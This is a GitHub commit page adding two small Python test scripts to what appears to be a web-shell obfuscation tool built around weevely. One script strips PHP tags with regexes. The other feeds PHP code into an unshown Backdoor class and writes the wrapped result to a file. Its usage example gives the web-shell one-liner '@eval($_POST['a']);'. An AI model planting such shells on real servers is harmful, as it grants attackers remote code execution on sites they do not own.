Skip to content

Commit

Permalink
add test demo
Browse files Browse the repository at this point in the history
  • Loading branch information
Lingerhk committed Dec 14, 2016
1 parent 33b4b08 commit 3d7fa29
Show file tree
Hide file tree
Showing 2 changed files with 34 additions and 0 deletions.
8 changes: 8 additions & 0 deletions util_tools/weevely_Encryption/retest.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
import re
str1='<?php aaaaaaaaaa <?php fdf?> d ?>'
# str1=str1.replace('<?php','').replace('?>','')
s=re.search('\?>$',str1)
print s
str2=re.sub('\?>$', '', str1)
print str2

26 changes: 26 additions & 0 deletions util_tools/weevely_Encryption/test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
from backdoor import *
import re
import sys
def load_file(filename):
files=open(filename,'r')
str1=files.read()
str1=re.sub('^<\?php','',str1)
str1=re.sub('\?>$', '', str1)
# str1=str1.replace('<?php','').replace('?>','')
return str1
usage='''usage:python test.py str outfile
Example:python test.py @eval($_POST['a']); aa.phip
'''

if __name__ == "__main__":


if len(sys.argv) != 3:
print usage
else:
print sys.argv
s=load_file(sys.argv[1])
test=Backdoor(s)
files=open(sys.argv[2],'w')
files.write(test.__str__())
files.close()

0 comments on commit 3d7fa29

Please sign in to comment.